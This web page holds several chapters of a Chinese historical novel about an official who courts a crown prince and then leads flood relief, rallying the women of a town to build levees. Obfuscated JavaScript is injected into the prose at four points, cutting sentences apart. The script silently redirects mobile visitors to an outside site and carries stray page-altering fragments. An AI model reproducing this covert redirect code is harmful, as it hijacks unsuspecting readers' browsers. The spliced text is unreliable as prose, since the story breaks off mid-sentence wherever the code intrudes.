云逸杰端端正正地站在东宫外,小太监恭敬地走过来低头尖声尖气道:“云大人请吧。” 云逸杰笑得温和:“有劳公公。” “不敢。” “参见太子殿下。”到了里头,云逸杰施礼问安道。 “云大人快快请起,您现在可是父皇器重之人,在孤面前无需多礼。”谢明麟抬手,旁源搀起了云逸杰。 “殿下言重了,臣为陛下办事而已。” 谢明麟笑道:“为了让云大人做赈灾的钦差大臣,父皇可是刻意破例将您升为正三品大学士啊,可见您是很得父皇的喜爱。” 云逸杰心道,如此招摇的喜爱,你爹也不过拿我当开路的铡刀罢了,还害得我被你那舅舅追着打。 “要说喜爱,陛下对太子殿下才叫器重呢。” 谢明麟笑着指她:“云大人,你竟拿孤来开涮,待会儿孤设宴款待,你得罚三杯才是!” “哪里哪里,”云逸杰献殷勤道,“您是本朝最年轻便被立为太子的皇子,这怎么不叫器重呢?臣说的并无假话呀!” “那你说说,父皇为何叫幽王代他安抚民心,为何不叫孤呀?” 云逸杰从明德殿出来,已经有了十成十的把握,皇帝一定对这个太子器重有加,毕竟他只有两个儿子,于是这会儿谢明麟无论如何不相信皇帝喜欢他,她也只当是试探罢了。 “殿下您想想,太子乃是将来的天子,若太子都离京去赈灾了,百姓心里不得慌成什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13306477|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么样啊。再说了,这些事让幽王去做,真正掌权的人何须亲力亲为,掌权掌权,坐在高处,一只手便把天下事定了,这才是未来天子该做的,可见陛下对殿下的爱护和培养之心。” 谢明麟哈哈大笑起来:“有趣,实在有趣,孤却不知通元二年的状元这么会说话。” 他却是不会信这些恭维的话,谢明乾将净巍宗的事拿出来说,竟然也这么轻飘飘地被放过了,这分明才叫做爱护! “殿下说笑,臣只不过实话实说。良禽择木而栖,臣自然是认为殿下是良木,今日才到此的。” “哦?”谢明麟玩着手里的穗子,“那云大人是愿做孤的良禽咯?” 云逸杰双手抱拳低下头:“此番前去赈灾,与幽王同行,殿下若有任何需要,臣必定效犬马之劳。” 谢明麟拍桌起身:“好!孤正缺一个能监视谢明乾的人,你既然认为孤是未来命定的天子,孤便相信你的衷心,你可要好好替孤效劳。” “臣必当鞠躬尽瘁,死而后已。” 谢明麟亲自将云逸杰扶起来:“旁源,去备宴,孤要与云大人一醉方休,把酒诉衷肠!” 云逸杰却推脱道:“殿下,明日臣便要启程去徐州了,皇帝叫臣去南都军营点兵点将,还未完成,请恕臣先行告退了。” 谢明麟一脸惋惜:“既如此,云大人便回去吧,孤也不强留了。有缘,咱们再聚!” 云逸杰走后,旁源不解道:“殿下,您不是说这云逸杰是个查案的好手,若有可能,可为我们所用,查禹城之事么,怎么如今只叫他传幽王的消息呢?” 谢明麟翻了个白眼:“蠢货,一来父皇实在器重谢明乾,如今必须要知道谢明乾的动向,才好早作打算。二来云逸杰这样的人主动上门来,谁知道他是不是有诈?我们不叫他查他也一定会继续查禹城的案子,我们就等结果就行,不能让他知道我们也关心这案子,否则反过来拿捏我们可怎么了得?” 旁源道:“原来是这样,殿下英明。” - 云逸杰回到家中,狠狠地洗了洗没谢明麟摸过的手。 云江去了军营点兵,守一忙着收拾一干人等的行李,春信正陪着蒋玉蓉哭,云逸杰独自在书房里看书,看了个囫囵,什么也没看进去,便也收拾起东西来了。 云江掀开窗户翻进来,落在魏华存神像前,顺势摆了摆。 云逸杰手里抓着一件中衣,狐疑道:“你从前便是翻窗子进来的么?我怎么没印象?” “……怎么了么?” 云逸杰摇头:“没,我怕你是跟春信守一学的。” “……”云江想了想,“好像是的,她俩也爱翻我的窗子。” 云逸杰无奈地摇摇头,云江问:“你怎么这么晚才回来,我一直没等到你,便自己去军营了。” “去见太子了。”云逸杰如实说。 “啊?”云江一下从床上翻起来,“伴君如伴虎,你伴皇帝老儿一个还不够?” 云逸杰勾起个颇有深意的笑:“越复杂,越有趣。谁说最毒妇人心?我在大理寺见那些男人勾心斗角多了去了,男人之间猜忌起来,那才叫狠辣,在耍心机这件事上,女人才是该甘拜下风的。” 101. 第一百零一章 卷三·大浸稽天而不溺 云江醒来,推开窗,见天边还未晕出霞光。云逸杰独自盘腿坐在神像前,显得格外冷清和孤单。她只穿着单薄的里衣,衣服轻飘飘附在身上,空荡荡好似随时要被风卷走。 “你别是在这儿枯坐了一夜吧。” 窗户被合上,云江给云逸杰披了件外袍。 见云逸杰没说话,云江凑到她面前,见她双目失神地望着空中某个地方,眼下有一道早已干涸的泪痕。 云江回头望了一眼窗上挂着的青竹风铃,轻轻叹了口气,没有说话,只是站起身来将两人的行李一并收拾了。 昨夜疾风骤雨,如今晨曦洒落人间,大地之上的积水渐渐蒸腾。树木抖落一地的旧叶子,摇身一变添了新绿。 街市上的小贩推着车走街串巷,行人急匆匆地穿过油盐酱醋、蔬菜瓜果,穿过烟雾缭绕的闹市,到人群堆里去讨生活。 云逸杰一行人匆匆而来,又匆匆离开了这座城。可这次离开的心境,却全然不同了。 这支队伍浩浩荡荡往禹城去,谢明乾骑在高头大马上,走在队伍最前面,围观的人们纷纷赞叹。 “这是幽王么?” “听说是多年未回南都,可却是一表人才,威风凛凛啊!” “听说是自己跑回来的,前些日子南都城里都传遍了,还以为陛下要重罚呢,没想到现在又代表皇帝去安抚受灾的百姓了,看来皇帝还是爱这个长子啊。” 谢明乾心里冷笑,父皇若真的偏爱他,为何他回来后,竟不曾问过一句他好不好。 行至城门前,云逸杰再度见到了那座高塔,牵起马绳:“走快些吧。” 谢明乾道:“敏理说得是,我等一路快马加鞭,早些到达才为好。” 回南都的路上云逸杰的腿受了伤,如今不适合再骑马,如今行出去几十里路,她额上便已渗出了冷汗。 谢明乾勒马减速与她并行:“敏理可是不适?如今行上官道,无人看着,你大可去马车上休息,我来带路做表率便好。” 云逸杰倒是想偷懒,只是她犹豫着,怕自己被人抓住什么把柄,紧缩眉头摇了摇头。 “吁——” 云江勒马停在云逸杰身旁:“阿杰,去休息下吧,治水还需四处视察,不能在路上就耗坏了身子。” 云逸杰觉得有道理,也就点头答应了,下马时冲谢明乾施了一礼:“多谢幽王殿下。” 谢明乾心里觉得有些怪,但也只是微微伸出手便收了回来,眼见着云江将云逸杰拉到马车上与蒋玉蓉等人同坐。 云江纵马追上他,代替云逸杰的位置,与他同在队伍前列:“走吧,幽王殿下。” 这些日子,谢明乾也与云江混熟了,多了个勾肩搭背的“好兄弟”,只是这会儿他却无心那么做,只是扯出个微笑,“嗯”了一声。 云逸杰远远在后头看着这二人的背影,目光一暗,放下了车帘子。 行至半路,谢明乾命队伍所有人停下修整半日,他道:‘行军打仗,也需养精蓄锐,更何况我们此次担负着救灾的使命,更马虎不得,先保障自己,才能去救人。’ 这话也是师父曾说过的,这条救灾的路,他越走心越沉,越走心越酸,他悄悄摸着袖子下的发带,越走越靠近云逸杰的马车。 “敏理?” 谢明乾掀开车帘,只见车厢里只有云逸杰和云江两个,蒋玉蓉不知跑到哪儿去玩了,云江正在给云逸杰揉着膝盖,见到他来,二人俱是一愣。 谢明乾瞬间放下车帘:“打扰了。想来给敏理送点伤药。”说罢将手里的小罐子从车帘一角送了进去。 云逸杰冰凉的手指从他手里接过药罐子,疏离的语气道:“多谢幽王殿下挂心。” 谢明乾有些伤神,强撑着笑脸离开了。 他在不远处的一棵榕树下找到了打闹的春信和蒋玉蓉,将春信拉到一边问:“云校尉可是敏理的亲弟弟?” 春信与守一对视了一眼,支支吾吾道:“……不、不算吧?” “不算是什么意思?” 春信为难道:“她俩都姓云,应该是亲戚,但有多亲就不知道了。” 守一抱着手,闭着眼靠在树上,冷冷开口道:“她们同在道观里长大,长得不像,兴许一个姓只是如同我们这般关系罢了。” 春信道:“对呀,说得有道理。” 谢明乾却沉着脸一言不发地走开了。 春信瞧着他的背影:“大师兄见着鬼了吧。” 这边云江见谢明乾走后,氛围有些不对劲,便问:“阿、阿杰,你怎么对幽王这么冷淡啊,他惹着你了?” 云逸杰抬眼看她,目光幽深,垂下了眼睫。 “连我都不告诉?” 云逸杰叹了口气,左右看了看。云江见状动了动耳朵:“没人,放心说吧。” 云逸杰沉吟半晌,才开口道:“你知道……” “知道什么?” “皇帝宣我为钦差大臣那日,对我说了什么么?” “说什么了?” 云逸杰对云江向来是没有秘密的,她道:“谢明乾私自离开边疆,后来红鸾塔祭祀的时候又替我挥了第一鞭,皇帝面上不显,私下里却火大得很,说谢明乾僭越之心实在猖狂。他让我……让我在路上抓住谢明乾的把柄,如果方便的话,就在南都外面杀了他也是我的本事。” 云江惊得合不拢嘴:“这真的是亲父子么?” 云逸杰双眸似淬了毒:“你看看,男人猜忌起来……”她冷笑一声,“只可惜他猜忌错了人,真正野心勃勃的,另有其人。” “那你疏远谢明乾,难道是……” “嘘,”云逸杰的笑容有些诡异,“别说出来,仔细说出来惊了猎物。这是给皇帝的投名状,若不完成,怎么得到我想要的?” - 云逸杰等人到了徐州,看了水报,县里来报,如今受灾最严重的地方是靠上游首当其冲的莲县,禹城在莲县下游,很快也会遭殃,如今州里的人手都去了莲县,云逸杰的判断是,粮食银两该分的分到各地方去,增援的人手则去禹城。 云逸杰此番来,额外要了些棉花、草木灰和药品,一路上差人护着,避免雨水打湿分毫,她将这批东西交由徐州知府保管,要他保持这些物品干燥、干净,待到洪水过境或过境之后,她派人来取,才有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13336307|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大用。 之后商定,派了一百人去地方上发放赈灾物资,谢明乾带着一百人去莲县支援最前线,云逸杰带着剩下的人到禹城先做抗洪准备。 临走时谢明乾站在云逸杰面前,有千言万语想说出口,最后却只是道:“禹城见。”便翻身上马离去。 通河自西向东流,禹城东面有高山,西面却平坦,于是洪水一来,若冲垮城墙,洪水便入无人之境。如今百姓们都往东街躲,而东街上最高的地方,则是北街与东街交叉处的县衙。 云逸杰等人打着伞进入禹城县衙时,还未料到一切会这么糟。 徐友来一见了云逸杰,便着急忙慌地解释:“云大人,那戏还没写好呢,就出了岔子,后来又是遭了大水,还请云大人不要见怪……” 县衙的院子里搭起了雨棚,云逸杰从院子里密密麻麻或坐或卧的人身边往里挤进去,无视掉那些或惊奇或好奇的眼光,皱着眉头问:“这里有多少人,可装得下全城的百姓了?” 徐友来见云逸杰没有见怪,擦了擦脸上的雨水:“禹城现在的水患不是太严重,自五年前大水,改修了河道之后,禹城也不会受到太大的伤害了,所以昨日才去将百姓聚集起来,现下有些还在路上。” “马虎不得,抓紧些。” “是。” “照你这么说,改了河道,这整条河沿岸都不应该发太大的水才是,可怎么今年莲县的水这么严重?我去时曾看过,莲县地形地势不像是容易遭灾的啊?” 云逸杰的问题一个接一个,皇帝虽是借治水派她来查案,可她也不能松懈,置城中百姓于不顾。徐州知府支支吾吾什么都说不上来,她也就只能来问徐友来了。 “云大人有所不知啊,莲县周围本来有好些沼泽,是泄洪的好宝贝,可是五年前开始,那儿一户姓周的人家便开始收购这些地,改做水田,讲这些地都给围起来了,这样一来,莲县的水也就无处可去了,这灾能不严重么?”徐友来一摊手,颇为无奈。 又是五年前开始的?周家?云逸杰将这些默默记在心里。 徐友来又道:“正是因为上游莲县遭灾又快又厉害,把我们都吓着了。我们就在莲县下游,生怕下一个就是我们,于是在雨水大起来的时候,就按照州里的要求,派了好些青壮年去了莲县,先帮他们撑过去,我们自然也就好了!” “这么说,禹城现在还留下的全是老弱病残?” 徐友来指了指院子里:“算是。” 云逸杰心上一紧,回头便见院子里除了孩子和头发花白的老人,全都是女人。 只不过有年轻的,有身强力壮的,她也就安心了。 没人能保证莲县安全了禹城就一定安全,如果不是因为人们只认男子为青壮年,恐怕这里也不剩下能抵御灾害的力量了。 一时之间,这祸兮成了福所倚。 绝不能掉以轻心,正因为这里是全城的女人,所以她更要守好这里。云逸杰握紧拳头抬头看了看天空,目光沉沉而又坚坚。 “蒋玉蓉呢?” 春信道:“守一带她去找家人了。” 云逸杰沉声道:“回来后,叫她不许离开我们身边。” 102. 第一百零二章 县衙的院子不算小,亏得好上次谢明乾叫了几乎半城的“证人”来县衙,那时丈量了这院子的大小,徐友来这也才敢叫百姓躲进来。 云逸杰站在玄鉴堂的屋檐下,院子里的人都好奇地打量她。 有个杏色长裙的大姐,带着个襁褓中的粉嫩婴孩,耐心地抚摸着孩子的额头; 蓝色粗布衫的大娘衣服洗得泛白,靠着跟柱子同旁边人说着话; 有些几个人找了一块防水的油布垫在地上,围坐着,眼巴巴地望着她。 徐友来这才向人们介绍:“各位,这位是南都来的钦差,云逸杰云大人,给大家送粮食物资来的,大家快见过。” 云逸杰跟前的几个正围坐着聊天的,没注意徐友来先前说了什么,也没去看眼前的人究竟是谁,爬起来便要跪。 “各位大娘大姐,不必多礼。” 这几个人才抬头看眼前人,这一看吓了一跳,忙回头却见身后的众人也是如此瞪着眼睛。 “这、这不是那杀猪的胡屠户吗?”有人不小心说出来。 旁边人赶忙拉她:“闭嘴吧!这是钦差,不是你说的那些个贫贱人!” “不是吗?可我觉得像极了呀!” 又有人低声劝诫:“人家或许是因为什么原因来过禹城,就算是真的,人家现在也是高高在上的钦差,怎么会承认呢,你现在说这些,若触了人家的霉头,你们一家老小吃什么去啊!” 这人闭了嘴,倒是身边窃窃私语的声音并不少。 云逸杰并不恼,只是朗声道:“各位大妈大娘大姐,我们见过的呀。今年年初时候惹了陛下不高兴,他将我撵到禹城来历练历练,这不,后来他老人家心情好了,又把我叫了回去。在禹城的日子里,还承蒙大家关照了。禹城也算是能与我家乡母云山一样重要的地方,我定当竭尽全力照顾大家才是。” 这番话说得不卑不亢,又周全地拉近了大家的距离,大家这也才放心下来,只是角落里的一位妇人攥紧了衣角,为自己的处境为难起来。 进门时徐友来说了戏班子的情况,那倒不打紧,只是云逸杰担心许梅香的案子是否受到影响。 “云大人您真是问对了,我之前的意思啊,就是说许梅香的案子到现在也还没个结果呢。”徐友来有些心虚,擦了擦额上的汗,“我生怕是因为戏班子的事儿没办好才惹得许梅香的案子一拖再拖,我实在是对不起您的嘱托呀。” 云逸杰道:“别说这些虚的了,戏班子的事儿只是起个从旁帮助的作用罢了,也没谁真指望能靠戏班子的戏破案。你且说说,许梅香的案子你后来又审了没有?” 徐友来咽了口唾沫,严阵以待似的站直了身子,打好了腹内草稿一五一十地交代:“戏班子出事儿以后啊,我就想这戏恐怕是唱不成了,但您既讲过,我也明白,此事关键在于要把刘群意大娘的决心透出去,叫人们也可怜可怜她,别只帮着洪家说话。您还别说,很多人没有那么强烈的想帮洪家,只是觉得好像、似乎,他们家可怜,听了刘大娘的故事,还是有很多人也觉得她们家可怜,也就改了改想法。” “我见事情酝酿得差不多了,也就想着冯贵的事情该拿出来审了,结果一升堂,那些百姓又围上来了!大多都是些男子,拿着锄头的也有,提着刀的也有,说什么就是不让审冯贵,若是审了,他们就要闹。这次还把话说明了,说要是审了冯贵,以后全禹城、全大昭的人都要多个罪名了!”徐友来说到后头有些激动,声量大了些,“您说这叫什么事,那许梅香是洪老太没收钱就被拐到冯贵那儿的,冯贵这是故意杀人,不是什么家长里短的事啊!” 这几句话被外头离得近些的大妈大娘听见了,便站过来道:“知县大人,其实说实在的,知道刘大娘过世之后啊,我们真觉得她可怜,有时候咱们女人就是这样,只能在男人手里讨生活,想想要是哪天我们家闺女也这样了,心里肯定是难过的,所以啊,我们觉得这事儿是该给许梅香和刘大娘一个公道才是!” 徐友来跺了跺脚:“那你们怎么不跟家里的爷们儿们说说呢,叫他们别来闹哇闹的!” “我们说了呀,可是他们哪儿听呢,只觉得我们妇道人家懂个什么,多管他们的闲事罢了!” 云逸杰好笑道:“他们懂的多,也不见考个状元来当当。各位大娘大姐,你们的心意我都明白,这件事,我会处理的。” 有人支持便是好,有人理解便是好,虽然有些人可能会后悔,可她再不会给她们后悔的机会了。 人群散开之后,云逸杰拉着徐友来往玄鉴堂里走进了些:“现下禹城的男人都去莲县帮忙了,不正是个好机会么?” 徐友来恍然大悟:“对呀,现下正是好时机,那我这就去办?” 云逸杰摆摆手:“先把抵御洪水的事宜安排好再说吧。” 徐友来道:“是。” 云江从外面走进来:“阿杰,带来的东西我都看着她们分了,接下来还要做些什么?” 云逸杰道:“辛苦了,你来,我跟你说。” - 莲县。 谢明乾的活儿倒比想象中的轻松些,来之前他们都以为莲县兹事体大,免不了好一番操劳,亏得净巍宗从前年年都做这样的事,谢明乾等人虽是临危受命,却也做得来。 到了莲县县衙,谢明乾先见了李县令和王县尉,见这二人都不是些沽名钓誉之辈,心里也踏实了许多。 “县丞带人去接上官带来的物资了,待会儿就到,幽王殿下见谅。” 谢明乾道:“无需多礼,如今我代父皇前来,就是为了救水,以百姓为先,不必将我当做什么大人物。” “诶。”李县令笑得和善。 “王县尉,你看我做什么?”谢明乾冷酷道。 “哦不不不,臣不敢。”王县尉低头擦了擦汗,他怎么觉得这个幽王,长得那么像几个月前那个险些被他冤枉成嫌犯的外地商人呢? 他在心里暗骂自己该死,当时怎么就那么急躁呢! “说说莲县的情况吧,”谢明乾道,“我从州里来,据你们的来报,莲县有大浸稽天之势,怎么我一路走来,却觉得并无想象的那么严重?难道是你等谎报军情,想趁机行贪墨之事?” 李县令吓了一大跳,真不怪人们都说幽王是皇帝属意的继位人选呢,这世上除了皇帝,谁有那气度和底气将这样的怀疑直接说出来? 李县令扑通一下跪了下去:“幽王殿下冤枉啊,这呈上去的水报是三天前的了,新写的还在路上呢。莲县今年洪灾是很严重,而且还猝不及防,死伤了好些人,这不,你们来之前,我和王县尉正忙着带人点人数呢!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13337946|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王县尉本就心虚,现在看平日里凶神恶煞的县令来了这么一出,也跪下解释:“是啊,三日之前,我们这里还是‘水穿城下作雷鸣,泥满城头飞雨滑’呢!殿下您之所以看着莲县的水势没有那么严重,那是因为前两日我们心一横,凿开了通往旧河道的口子,将水汇入旧河道去,自古治水堵不如疏,这疏散之后啊,水势不就是减轻许多么!” 李县令忙不迭道:“幽王殿下,您真是冤枉下官了呀,上报的灾情和所需的物资,我们可都是如数相告的,如今洪水虽稍退,可受了的损失是仍在的呀!” 谢明乾听了,这才放下冷脸:“好吧,姑且相信。我告诉你们,我乃净巍宗弟子,从前年年都参与救灾,这里头有多少门道,事情是虚是实,我都清楚得很。各位大人,还望做好自己的分内之事,否则,我是个武将,恐怕不懂迂回,只会刀剑说话。” “是是是!”李县令连忙点头,莫说他没有那个心,就算是有,也不敢在这样的人面前想东想西的呀!幽王如今连净巍宗的名号都敢公然提起,这不是有恃无恐是什么? “破山,去盯着他们分发物资。”谢明乾握着当关剑,吩咐道。 “是。”破山随即离去,谢明乾对二人道:“带我去看看百姓。” “遵命。”李县令恭敬道,“幽王殿下这边请。” 他边走边向谢明乾介绍情况,一丝一毫也不敢马虎:“幽王殿下您看,洪水来之前,我们便筑好了堤坝,只是莲县洪水已经五年未曾如此严重了,洪水来之前,乡亲父老都农忙,我们也都习惯了不必像以前那般花那么多心思在防洪上,于是堤坝修得矮了些、少了些,结果没想到今年洪水却来势汹汹,我等派人去查,才知周围的沼泽地,都被周家圈起来修了水田,洪水泄不出去,这才酿此大祸。” 谢明乾负手而立,一脸严肃:“为何你们早不知,要放任至此?莲县虽然五年未曾遭灾,可大昭是靠水吃水的国,举国上下,连三岁小儿都知道防洪的重要,才五年的安生日子,就让你们倦怠至此了?” “不敢不敢,”李县令道,“下官也知道殿下所言极是,可是下官等实在是力不从心,您是南都里来的,想必一定知道,大昭最大的地主不就是晋王么,这周家和晋王沾亲带故,下官等人实在是,实在是没办法呀!” “周家的事,我有所耳闻,不怪你们。”谢明乾道。 “多谢殿下。”李县令从一旁拉过来一个老头,“这位刘大叔就是我们的恩人,要不是他提出建议引水入旧河道,咱们莲县就真的完了。” 谢明乾看了他一眼,郑重道:“有功,赏。” 老头乐呵呵道:“多谢上官赏赐!” 谢明乾与他闲聊起来:“这旧河道与新河道是何关系?洪水入旧河道,是否一劳永逸?若是不能持久,还要另外想办法。” 老头沉吟一会儿:“这法子还真不长久,最好的还是将那些抢我们土地的人抓起来,旧河道毕竟只能帮莲县一时,若雨水再来,下游可就不好过咯!” 谢明乾抓住关键:“下游?下游是哪些地方?拿图纸来!” 李县令叫人去找,春雨对谢明乾道:“殿下,莲县下游便是禹城啊……” 谢明乾如坠冰窖,这才明白自己在害怕什么。 下游,便是禹城啊。 103. 第一百零三章 八月十一日,禹城大雨。 云逸杰此番初到禹城,昨夜巡视了外头,将一窝蜂躲到县衙的百姓找了几个地势高的地方分散出去,又爬上城楼查看水势,半夜才歇下,只是没睡多久,便被噼里啪啦炮仗似的雨声给吵醒了,再加上心里一直放心不下灾情,神思清醒,格外紧绷,忙翻身起床,三两下穿上衣服走了出去。 云逸杰这次来,与谢明乾先前一样住在县衙,这会儿走出去,就看见前头玄鉴堂的屋檐下密密麻麻站满了人,迎面撑伞走过来的云江虽只是几步路的距离,那不管不顾乱窜的雨水便打湿了她半边身子。 “这雨也下得太大了。”云逸杰焦急道。 云江另拿出把伞给云逸杰撑着,边走边道:“半夜下大雨水就涨起来了,只是没想到方才又猛地涨了一头,看着甚是凶险。你身子弱,好好打着伞,仔细沾了雨水。” 云江伸手去给她挡,又发现无济于事,云逸杰道:“不碍事,眼下也顾不得这些,活命要紧。我们带来的人手有多少?” “本只是来看一眼禹城的,料想这里恐怕不会太严重,故而零零散散算起来,加上我和守一春信,恐怕堪堪七十人。” 云逸杰皱眉摇摇头:“这哪够。” “禹城县衙的人手分了一半出去,本就少,男的也都去莲县帮忙了,现下想再找,恐怕难。” 云逸杰到屋檐下放下伞,伞上的水如杯水洒落般“哗啦”落地,稀稀拉拉淌了一路。她听见这话回头望了望云江,又低头望了望自己,道:“你我不是早已女人当男人使了么。” 她快步走到人堆里去,只余下云江拿着手里滴滴答答淌着水的伞,难以回神地站在原地。 云逸杰一进玄鉴堂,便被涌上来的哭闹声给围住了。 “徐大人,这可怎么办才好啊,我们的男人都去莲县了,现在谁来保护我们啊,你不能让他们辛辛苦苦出去做事,回来看不见老婆孩子啊!” “是啊徐知县,你和钦差可得想想法子救救我们啊!” 徐友来一个头两个大:“你们放心,我们不会不管的,不要闹!” “你说瞎话,你方才还说出去给州里送消息的船没划出去多远就被淹了,人都找不回来了,你怎么找人就我们?” “就是,禹城就剩下我们这些妇孺了,兵也没几个,男人也没几个,你拿什么保护我们?你以为你是法海啊,动动手就能抵抗水漫金山了?” “你、你你,岂有此理!”徐友来扶着歪了的帽子,气得说不出话,“我说了会想办法就是会想办法!” 云逸杰挤进来,高抬着手示意大家:“各位大妈大姐稍安勿躁,我们一定能解决这个问题的。昨日我看了水道图,前些日子莲县大水泄不出去,他们必定是挖了口子,引洪水入旧河道了。这样一来,上游水患可解,可大雨下下来,禹城便遭殃了。若是上游的人及时发现,来救我们,那还好说,可现如今,消息送不出去,水势凶猛,恐怕没有谁救得了我们了。” “那怎么办?莲县的人有命活,我们就要见阎王了?” 云逸杰笑意中有坚定,带着一种极强的沉稳,让人愿意相信:“如果咱们做得好,见的就是龙王,叫祂保佑我们平安。如果做得不好,咱们见的就是阎王。是见龙王还是见阎王,由大家说了算。” 大家一听也打起精神来了,只是问:“要怎么做?祭祀要的香油纸蜡,使使劲儿还能找着,若是要什么瓜果贡品,只管从咱们的口粮里拿,只是现下,鲜花美酒是找不着了,这龙王,不知愿不愿意见咱们?” 云逸杰仰天大笑了几声,笑得大伙不知所以然。 “云大人,我们市井村妇,没读过书,说错了什么您别见怪。” “怎么会呢,我有什么好见怪的。”云逸杰笑道,“我笑的是啊,远水救不了近火,离咱们这儿最近的东海龙王要赶来也还需要些时日,咱们求神呐,不如求己。” “啊?”人些一时泄了气,“这不还是老样子吗?咱们没人了,青壮年都出去了呀!” 云逸杰不急不躁,在喧嚣的雨点声和嘈杂的人群中,她自有一份定力,势要将这件事说个明白:“官府还有七八十个人手,再说了,你们难道不是青壮年吗?” 有人道:“我们是女人呀,官府若到了要叫女人去修筑堤坝的地步,那岂不是失职?” 徐友来道:“没有提前安排好,导致禹城的人手都去了莲县,禹城陷入困境,这是我的不对,我向大家赔个不是。” 春信从外面走进来,抱着手道:“失职的事稍后再算,一码归一码,现在要抵御洪水,外面的人来不了,只有靠我们自己,否则,只有死路一条!” 人群里有些人觉得这话说得对,却也有人反对:“女人怎么修堤坝?人们都说,女人砌墙墙要倒,女人拜神神要怪,万一惹了龙王不高兴,修不好堤坝不说,咱们的处境就更危险了呀!” 一时之间,气氛又低迷起来,云逸杰放眼望去,都是灰扑扑失望的眼睛,她道:“任何人都可能失败,任何人都不一定失败,咱们试了,有很大可能成功,但若不试,就只有等死!我是……我是男的,我都不怕,你们怕什么?大不了若有谁兴师问罪,就全怪我好了。” 云逸杰高声道:“我就问你们一句,到底想不想活命?”她指着一个大姐手中抱着的婴孩:“你们死了倒轻松,你们的男人再讨个老婆,运气好点你的儿女也死了,运气不好的,你的儿女只被后爹后妈打骂,我小时候就是这么过来的,我不希望这些孩子也是这样,没妈的孩子,最是命苦。” 如果不是逼不得已,她不想说这样的话。若是能让人为自己活,倒也还好,可是只凭一句两句,她做不到,也只能说些要害上的话。 春信道:“我去!我们必须去!这没有什么难的,不去就得死,我打头阵!” 蒋玉蓉拉着春信的手:“我、我也是!” 云江和守一似两座高山,一座巍峨一座嶙峋,站在这二人身后不言语,神情却坚。 大家被鼓励带动,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362502|124185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就都加入了:“我去!”“我去!”“我也去!”“不能就这么送死!” 终只有死亡那块沉重的墓碑,以千钧之力蛮横地撞开了人们心中紧闭的黑色大门。那门前不管是轻是重、是刚是柔的阻碍,不管是青石板或是旗飘飘,都摧枯拉朽一并除去了。 这一下才发现,所谓的拦路石,是不堪一击的幻影。 “好!很好。”云逸杰道,“那么就请大家,去召集其他处的姐妹们,劝她们与你们一起,见龙王!” “好!” “大家先不着急,”云逸杰道,“我和徐大人带着些人先去西门上看看情况,大家组织起来,身强力壮的去外头修堤坝,身体差些、力气小些的留在东门,为大家生火烧菜,在后方支持,你们分好了队伍,咱们东门上见。” 春信见状也交代了几句:“大家都是女子,遇见泥沙灰尘爱生病,请在后方的姐妹们接下雨水,无根水干净,等前面的姐妹们回来好擦擦身子!” “走,咱们先去看看水势!”云逸杰带着云江等人出了门。 到了西门城楼上,才知这天地如今究竟是如何的一番景象。 大雨如滚滚浓烟,将禹城掩埋覆盖。那城楼高五丈,站在上面却觉自己比泥沙还要细小,站在通河滚滚的泥沙倾泻之下,好似转眼就要被百尺危楼般迅猛的洪水卷走。 云江看着这洪水,感叹道:“城中水已溢起一丈多高,若城墙一倒,整个禹城便如被猛兽吞入腹,踪影全无了。” 云逸杰转过身去观察着城内的情况,她昨日看过城内地图,已有了些想法,有两条路可修。 春信这时带着人来到了城楼下,人人短衣赤脚,拿着工具,做好了准备。 “阿江,你去问问,这里共多少人?再有,叫李云李大娘上来,我看见她了。”云逸杰伸手往下一指,云江便飞身下去,李大娘在听见云江说话后,目光明显躲闪了一瞬。 云江将人带上来:“人带来了,下边,一共有五千余人。” “云、云大人,”李大娘战战兢兢道,“那次指认你丢弃尸块,害得你被误认为碎尸案凶手,是我有眼无珠,还望您大人有大量……” “行了吧李大娘,我叫你来不是为了这个。”云逸杰浅笑道,“你不是眼力好么,隔那么远一下就记下来我手里的布包有多大,你来帮我个忙。” 